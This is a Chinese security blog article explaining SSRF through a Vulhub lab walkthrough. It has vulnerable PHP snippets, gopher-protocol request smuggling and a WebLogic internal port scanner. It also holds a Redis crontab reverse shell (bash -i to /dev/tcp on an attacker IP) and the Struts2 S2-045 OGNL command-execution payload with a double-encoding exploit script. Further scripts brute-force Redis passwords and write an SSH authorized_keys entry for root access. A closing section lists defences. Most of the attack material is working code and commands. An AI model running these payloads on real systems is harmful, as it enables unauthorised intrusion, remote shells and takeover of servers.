查看原文
其他

原创 | 深入浅出SSRF

k0e1y SecIN技术平台 2022-08-31

点击蓝字




关注我们



漏洞原理


SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)


SSRF 形成的原因大都是由于服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等


引发SSRF漏洞的函数


file_get_contents()

以下来自菜鸟教程

file_get_contents() 把整个文件读入一个字符串中。


该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。


语法

file_get_contents(path,include_path,context,start,max_length)

参数

描述

path

必需。规定要读取的文件。

include_path

可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。

context

可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。

start

可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。

max_length

可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

file_get_contents是可以请求http协议的,需要将allow_url_fopen设置为on

漏洞代码

<?phpif(isset($_POST['url'])){ $content=file_get_contents($_POST['url']); $filename='./images/'.rand().'.img';\ file_put_contents($filename,$content); $img="<img src=\"".$filename."\"/>";echo $filename;}echo $img;?>


代码意义为获取远程文件的值,随后放到$filename中,但是如果我们file_get_concents请求的是内网环境呢?


如果内网中不存在此ip

我们发现file_get_contents已经报错

如果存在此ip

我们发现报错已经不在,由此可以判断内网中存活主机以及端口


fsockopen()

函数使用详情

https://www.php.net/manual/zh/function.fsockopen.php

fsockopen函数主要就是主机端口,根据是否连接成功判断主机端口是否开放


漏洞代码

<?php$host=$_GET['url'];$port=$_GET['port'];# fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)$fp = fsockopen($host, intval($port), $errno, $errstr, 30);if (!$fp) { echo "$errstr ($errno)<br />\n";} else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n";# fwrite() 函数将内容写入一个打开的文件中。 fwrite($fp, $out);# 函数检测是否已到达文件末尾 ,文件末尾(EOF) while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp);}?>

如果存在

虽然乱码了,但是可以明显看出5.5.29的版本号,mysql的数据库,说明端口是开启的


访问445端口,一片空白说明也是访问成功的

如果端口未开启


报错


curl_exec()

漏洞代码

<?php$url = $_GET['url'];$curlobj = curl_init($url);echo curl_exec($curlobj);?>


访问url,初始化url对象,之后执行代码,短短三行

但是危害很大


可以配合dict协议进行端口指纹探测


Gopher协议在SSRF中的利用


定义:

gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面

使用curl --version会显示支持的版本协议

Gopher协议格式 :

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流


  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

使用nc开启监听  kali中使用curl连接nc 

curl gopher://192.168.1.103:4444/abcd

会发现a被吃掉了,所以发送数据时前面要加一个_来代替第一个字符


使用Gopher协议发送get请求

实验代码:

<?phpecho "Hello ".$_GET["name"]."\n"?>

当我们输入name他就会和hello连接输出

于是我们需要发送get请求数据包,使用burp进行抓包

数据包中最重要的是这两条,其他的我们去掉


因为gopher协议需要url编码,将空格,问号进行url编码之后将这两行变为一行,换行用%0d%0a替代,因为回车和换行不是一个东西,所以需要用%0d代表回车%0a代表换行并且最后也要加$0d%0a因为http包留一行表示解释,使用curl时80的端口也要写,不然gopher默认是70

curl gopher://192.168.1.105:80/_GET%20/ssrf/get.php%3Fname=k0e1y%20HTTP/1.1%0d%0aHost:%20192.168.1.105%0d%0a

成功回显


使用Gopher协议发送post请求

实验代码:


<?phpecho "Hello ".$_POST["name"]."\n";?>

使用hackbar发送post请求并用burp抓包


但是会发现post请求比get请求明显多了两个数据头,代表着数据的格式和数据的长度,所以必须加

POST /ssrf/post.php HTTP/1.1Host: 192.168.1.105Content-Type: application/x-www-form-urlencodedContent-Length: 10
name=k0e1y

注意Content-Length和name之前间隔一行是必不可少的,这一行表示头的结束,name后加表示数据的结束,所以Content-Length后需要加两个%0d%0a

POST%20%2Fssrf%2Fpost.php%20HTTP%2F1.1%0d%0AHost%3A%20192.168.1.105%0d%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0d%0AContent-Length%3A%2010%0d%0A%0d%0Aname%3Dk0e1y%0d%0a


那我们了解了这个两个协议在实际中应该如何使用呢?

我们回到curl_exec.php使用他来执行gopher协议

使用gopher访问get.php发现并未成功

失败代码:

http://192.168.1.105/ssrf/curl_exec.php?url=gopher://192.168.1.105:80/_GET%20/ssrf/get.php%3fname=k0e1y%20HTTP/1.1%0d%0AHost:%20192.168.1.105%0d%0A


测试发现在发送数据的时候已经解码了,于是gopher识别不到url编码报错,需要进行二次编码

http://192.168.1.105/ssrf/curl_exec.php?url=gopher%3A%2F%2F192.168.1.105%3A80%2F_GET%2520%2Fssrf%2Fget.php%253fname%3Dk0e1y%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.105%250d%250A

成功出现回显并且执行了get.php


利用weblogic的SSRF漏洞探测内网并反弹shell


环境搭建用到了docker,使用的是Vulhub上的靶场环境,我用的Centos 7系统


安装

1、需要的安装包yum install -y yum-utils2、阿里云镜像yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo3、安装docker ce社区版 ee企业版yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin4、启动dockersystemctl start docker5、测试docker run hello-world6、查看当前镜像docker images

卸载

yum remove docker-ce docker-ce-cli containerd.iorm -rf /var/lib/dockerrm -rf /var/lib/containerd

docker-compose安装

#安装pipyum -y install epel-releaseyum -y install python3-pip #升级pippip3 install --upgrade pip#安装docker-composepip3 install docker-compose #检查docker是否安装成功docker-compose -version


下载vulhub镜像包

git clone https://github.com/vulhub/vulhub.git


下载完解压文件,进入weblogic/ssrf目录,执行docker-compose up -d

加载成功之后输入docker ps发现进程已经成功运行

我们用浏览器访问

http://192.168.229.15:7001/uddiexplorer/SearchPublicRegistries.jsp

使用burp进行抓包,并且发送到Repeater


POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1Host: 192.168.229.15:7001Content-Length: 175Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.229.15:7001Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.229.15:7001/uddiexplorer/SearchPublicRegistries.jspAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=Q5rSvbHh4ZGnWvHrbL2yzJyBKYvkS53pqdNJLyWHh4hhPzyWbQCp!1416426367Connection: close
operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi&rdoSearch=name&txtSearchname=123&txtSearchkey=123&txtSearchfor=123&selfor=Business+location&btnSubmit=Search


我们已知参数中的operator存在ssrf漏洞,他会去请求主机,请求成功(主机存在)和请求


失败(主机不存在)是不用的回显。于是可以用来探测内网主机和端口,主机需要自己探测,后面会给出exp,这里我们先通过docker exec -it 29033c14f8e3 /bin/bash命令进入weblogic的运行环境先查看一下正确的ip,其中it后面的参数为docker ps中weblogic的id

探测主机的80端口是否开启

operator=http://172.18.0.3:80

回显中显示不能连接到http服务器说明端口未开启

查看redis的ip探测6379端口


回显已经没有连接失败的标识了说明端口存在,可以用intruder功能来探测开放端口


使用exp来探测端口

#encoding=utf-8## 使用用法为:python ssrf.py -u www.baidu.com -n 136.12.70# -u :url地址# -n :内网地址,只写前三位即可import httplibimport threadingimport Queueimport jsonimport sysimport re,getopt,logging
lock = threading.Lock()queue = Queue.Queue()
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
def scan_http_service(url_): while True: try: item = queue.get(timeout=1.0) except: break
try: #print url_ conn = httplib.HTTPConnection(url_, timeout=3) url = 'http://%s:%s' % (item['ip'], item['port']) conn.request(method='POST', url='/uddiexplorer/SearchPublicRegistries.jsp', body='operator=%s&rdoSearch=name&txtSearchname=123&txtSearchkey=123&txtSearchfor=123&selfor=Business+location&btnSubmit=Search' % url, headers=headers) #print 'operator=%s&rdoSearch=name&txtSearchname=1111&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % url html_doc = conn.getresponse().read() conn.close() if html_doc.find('which did not have a valid SOAP') > -1 or html_doc.find('404 error code') > -1: lock.acquire() sys.stdout.write('[OPEN] %s\n' % (url) ) lock.release() continue
except: pass
url = ''in_addr = ''opts, args = getopt.getopt(sys.argv[1:], "u:n:")for op, value in opts: print op,value if op == "-u": url = value if op == "-n": in_addr = value
for port in [21,22,8080,1433,3306,80,6379]: for i in range(1, 255): queue.put({'ip': '%s.%s' % (in_addr,i), 'port': port})

threads = []for i in range(10): t = threading.Thread(target=scan_http_service,args=(url,)) t.start() threads.append(t)for t in threads: t.join()
print u'检测完成'

这是python2的脚本,使用方法

python2 ssrf.py -u 192.168.229.15:7001 -n 172.18.0

最后c段不用填软件会自动运行

这里为c段的范围,建议测试的时候将范围改小(1-5)左右,或者将虚拟机配置增大,否则检测时间会很长很长


检测结果


利用redis计划任务提权

如果目标服务器存在redis未授权访问,就可以利用任务计划反弹shell


在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。


首先需要在nc上开启监听接受返回的shell

然后利用redis-cli写入任务计划,修改命令中的IP和端口

set 1 "\n* * * * * bash -i >& /dev/tcp/192.168.229.14/8888 0>&1 \n"config set dir /var/spool/cron/rootconfig set dbfilename crontabsave

注意任务计划反弹shell方法仅适用于Centos


Ubuntu 不能用的原因如下:

  • 因为默认redis写文件后是644权限,但是Ubuntu要求执行定时任务文件

    /var/spool/cron/crontabs/<username>权限必须是600才会执行,否则会报错

    (root)INSECUREMODE (mode 0600 expected)而Centos的定时任务文件

    /var/spool/cron/<username>权限 644 也可以执行

  • 因为 redis 保存 RDB 会存在乱码,在Ubuntu 上会报错,而在Centos上不会报错


由于系统的不同,crontrab 定时文件位置也不同:

Centos 的定时任务文件在

/var/spool/cron/<username>
Ubuntu 的定时任务文件在

/var/spool/cron/crontabs/<username>


payload编码前

http://172.18.0.2:6379/test
set 1 "\n* * * * * bash -i >& /dev/tcp/192.168.229.14/8888 0>&1 \n"config set dir /var/spool/cron/rootconfig set dbfilename crontabsave
aaaa


url编码后

operator=http%3A%2F%2F172.18.0.2%3A6379%2Ftestset%201%20%22%5Cn*%20*%20*%20*%20*%20%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.229.14%2F8888%200%3E%261%20%5Cn%22config%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Frootconfig%20set%20dbfilename%20crontabsaveaaaa&rdoSearch=name&txtSearchname=123&txtSearchkey=123&txtSearchfor=123&selfor=Business+location&btnSubmit=Search


nc成功监听到shell


遇到问题的解决办法

把kali防火墙关闭,重启docker(因为出问题没重启docker复现时候卡了两个小时,重启解决一切问题.jpg)


利用gopher协议执行s2-045漏洞


s2-045漏洞复现

使用docker-compose搭建s2-045环境,访问网页,其他的东西不用填,点击submit,用burp进行抓包放到repeater

将原来的Contnet-Type删除,换上poc

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

代码执行成功,已经是root权限,由于这是在docker环境中没有nc,实际环境是可以用nc


反弹shell的


使用gopher协议进行代码执行

我们将最重要的三段提取出来

将这三段进行url编码

POST%20%2FdoUpload.action%20HTTP%2F1.1%0D%0AHost%3A%20192.168.229.15%3A8080%0D%0AContent-Type%3A%20%25%7B(%23nike%3D'multipart%2Fform-data').(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'id').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D%0d%0a

为了方便测试我这里将GET到的url打印出来

<?php$url = $_GET['url'];var_dump($url);$curlobj = curl_init($url);echo curl_exec($curlobj);?>

发现并没有得到我们想要执行的命令,只是把url打印了出来,这是因为get接收参数之后会自动url解码,但是gopher协议需要url编码,所以没有得到想要的结果,所以我们只要进行二次编码让他解码之后正好是处于第一次url编码的状态就可以了

POST%2520%252FdoUpload.action%2520HTTP%252F1.1%250D%250AHost%253A%2520192.168.229.15%253A8080%250D%250AContent-Type%253A%2520%2525%257B(%2523nike%253D%27multipart%252Fform-data%27).(%2523dm%253D%2540ognl.OgnlContext%2540DEFAULT_MEMBER_ACCESS).(%2523_memberAccess%253F(%2523_memberAccess%253D%2523dm)%253A((%2523container%253D%2523context%255B%27com.opensymphony.xwork2.ActionContext.container%27%255D).(%2523ognlUtil%253D%2523container.getInstance(%2540com.opensymphony.xwork2.ognl.OgnlUtil%2540class)).(%2523ognlUtil.getExcludedPackageNames().clear()).(%2523ognlUtil.getExcludedClasses().clear()).(%2523context.setMemberAccess(%2523dm)))).(%2523cmd%253D%27id%27).(%2523iswin%253D(%2540java.lang.System%2540getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%2523cmds%253D(%2523iswin%253F%257B%27cmd.exe%27%252C%27%252Fc%27%252C%2523cmd%257D%253A%257B%27%252Fbin%252Fbash%27%252C%27-c%27%252C%2523cmd%257D)).(%2523p%253Dnew%2520java.lang.ProcessBuilder(%2523cmds)).(%2523p.redirectErrorStream(true)).(%2523process%253D%2523p.start()).(%2523ros%253D(%2540org.apache.struts2.ServletActionContext%2540getResponse().getOutputStream())).(%2540org.apache.commons.io.IOUtils%2540copy(%2523process.getInputStream()%252C%2523ros)).(%2523ros.flush())%257D%250d%250a

这样已经执行id命令成功,得到了我们想要的结果

自己写了个没有技术含量的exp,仅仅帮助节省了手工二次编码的时间

import requestsfrom urllib import parsessrf_url='http://192.168.1.105/ssrf/curl_exec.php?url='in_url='gopher://192.168.229.15:8080/_'poc='''POST /doUpload.action HTTP/1.1Host: 192.168.229.15:8080Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''poc=parse.quote(poc)poc=poc.replace('%0A','%0D%0A')poc=poc+'%0D%0A'poc=parse.quote(poc)final_url=ssrf_url+in_url+pocresponse=requests.get(final_url)print(response.text)


利用SSRF漏洞渗透Redis


REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。


Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。


它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型


未授权访问状态下

redis无登录密码的情况下可以未授权访问

在centos启动redis

docker run -itd -p6379:6379 redis

运行Kali安装redisapt-get install redis-server

kali启动redis服务service redis-server start

kali启动抓包服务tcpdump -i eth0 port 6379 -w redis.pcap


kali连接centos系统的redisredis-cli -h 192.168.229.15,并对他进行get获取数据,随后将抓到的包保存下来放到wireshark进行分析

我们追踪他的tcp流

从中可以看到我们发送的数据

其中这是redis的RESP协议通信,*2代表数组有两个分别是get和key,$3为字符串有三个长度,并且协议中最后都是以'\r'n'结尾,具体如下


序列化协议:

客户端-服务端之间交互的是序列化后的协议数据。在Redis中,协议数据分为不同的类型,每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型。2.2、inline command:这类数据表示Redis命令,首字符为Redis命令的字符,格式为 str1 str2 str3 。如:exists key1,命令和参数以空格分隔。2.3、simple string:首字符为'+',后续字符为string的内容,且该string 不能包含'\r'或者'\n'两个字符,最后以'\r\n'结束。如:'+OK\r\n',表示”OK”,这个string数据。2.4、bulk string:bulk string 首字符为'$',紧跟着的是string数据的长度,'\r\n'后面是内容本身(包含’\r’、’\n’等特殊字符),最后以'\r\n'结束

我们将这段记录下来,并且通过url进行编码,使用gopher协议进行发送(记住还是要把加上%0d)

发现回复了111,key的值就是我们设置的111返回正常


利用ssrf进行redis的访问

经过gopher协议测试成功访问redis,那我们通过ssrf试一下呢


通过192.168.229.1对192.168.229.15:6379进行未授权访问


payload

http://192.168.229.1/ssrf/curl_exec.php?url=gopher%3A%2F%2F192.168.229.15%3A6379%2F_*2%250D%250A%25243%250D%250Aget%250D%250A%25243%250D%250Akey%250D%250Aquit%250D%250A

记住需要2次编码,而且通过网页上的ssrf最后还需要

加个quit一起编码,不然无回显


有登录密码

设置redis密码

config set requirepass 12345


登录redis

auth 12345

这种情况下需要redis抓包爆破,直接附上脚本,大家

可以自己抓包尝试

#!/usr/bin/python# -*- coding: UTF-8 -*-import urllib2,urllib
url = "http://192.168.229.1/ssrf/curl_exec.php?url="gopher = "gopher://192.168.229.15:6379/_"
def get_password(): f = open("password.txt","r") return f.readlines()
def encoder_url(data): encoder = "" for single_char in data: # 先转为ASCII encoder += str(hex(ord(single_char))) encoder = encoder.replace("0x","%").replace("%a","%0d%0a") return encoder
mark = 0for password in get_password(): # 攻击脚本 data = """auth %s quit """ % password # 二次编码 encoder = encoder_url(encoder_url(data)) # 生存payload payload = url + urllib.quote(gopher,'utf-8') + encoder
# 发起请求 request = urllib2.Request(payload) response = urllib2.urlopen(request).read() if response.count("+OK") > 1: print "find password : " + password mark = 1
if mark == 0 :print "not found"

至于为什么最后的判断需要页面返回的ok大于1,因为我们只要登陆成功之后才能输入命令,但是我们是ssrf,登陆成功后还需要quit命令才能回显,所以会出现两个ok,一个是auth的一个是quit的


写ssh-keygen公钥然后使用私钥登陆


原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key


实现条件需要目标redis是root权限,我们把正在运行的服务器停掉service redis-server stop

使用root权限启动redissudo -u root /usr/bin/redis-server  /etc/redis/redis.conf

查看redis状态  ps -ef |grep redis

停止redis /etc/init.d/redis-server stop

使用ssh-keygen -t rsa生成秘钥

注意:kali默认安装的redis只允许本机访问,需要修改配置文件中的bind,使其他主机也能访问redis

vim /etc/redis/redis.conf

添加一个自身的内网地址


配置kali的ssh服务

打开配置文件vim /etc/ssh/sshd_config,将以下三个选项取消注释


重启sshsystemctl restart ssh
开启自启动sshsystemctl enable ssh
查看ssh状态systemctl status ssh

重点注意:kali中/root下的文件是隐藏的需要ls -la进行查看,他会自带一个.ssh文件,不过不是文件夹,需要我们给他删除然后自己创建一下文件mkdir .ssh


exp如下仅适用于无密码的未授权访问

#!/usr/bin/python# -*- coding: UTF-8 -*-import urllib2,urllib
url = "http://192.168.229.1/ssrf/curl_exec.php?url="gopher = "gopher://192.168.229.14:6379/_"# 攻击脚本data = """config set dir /root/.ssh/config set dbfilename authorized_keysset 1 "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1FDc+1NcjvkM3gcTtNWbXRx1fSp3cGjNkfli+/8ZmrD7yBU4zeFBkoPHORkDQOw5BMaf2JoRx4HB6Bf8Ey/Inawfn0jR8Le3i+zUmDwt/sy/6I73TNLkjEEbfCdnclcGHLf0txmTr5yB2XtJ15pg21Knhp18kkYrzKZV353g27gs/EJbZSXgU2s10pIjdkGncQ+JkCfIeOZpmNYwXHX1fGLxtVXnkqOJZoLEEiG0gFXhOkv5hFfa2EETaUYp52pvEFOncvilgLw7LMFmwJP/aXAj1hOvfYll+tL0W3m6j2tx5NZmu2S0BCR/sonusVS0UHT2zK8NxrUnH9MQcAyKr root@localhost.localdomain\\n\\n"savequit
"""
def encoder_url(data): encoder = "" for single_char in data: # 先转为ASCII encoder += str(hex(ord(single_char))) encoder = encoder.replace("0x","%").replace("%a","%0d%0a") return encoder
# 二次编码encoder = encoder_url(encoder_url(data))
#print encoder# 生存payloadpayload = url + urllib.quote(gopher,'utf-8') + encoderprint payload# 发起请求request = urllib2.Request(payload)response = urllib2.urlopen(request).read()print response

将截图中的那一块修改为自己生成的公钥(后缀带pub的文件,cat一下就行),两边的\\n\\n不要删除

exp执行成功之后,我们通过ssh连接

ssh root@192.168.229.14 无需密码直接为root权限


SSRF漏洞的其他协议


file协议

file协议可以读计算机上的各种文件

dict协议

探测redis信息,说明存在未授权访问

设置key值

获取key值

dict中的命令都要通过冒号进行分割


同样也可以进行任务执行反弹shell,不过要进行16进制编码之后转成shellcode才可以用


SSRF漏洞防御


1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file://,gopher://等引起的问题。


总结


本文主要讲了ssrf的gopher协议,以及对redis数据库的一些利用技巧,写文章花了不少时间,也踩了不少坑,有很多细节是网上找不到的,希望我的经验能帮到大家。



往期推荐



活动 | SecIN喊你来投稿啦!投稿即有惊喜好礼~更有机会稿费翻倍!

原创 | TP5 RCE漏洞总结

原创 | Golang爬虫框架初探


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存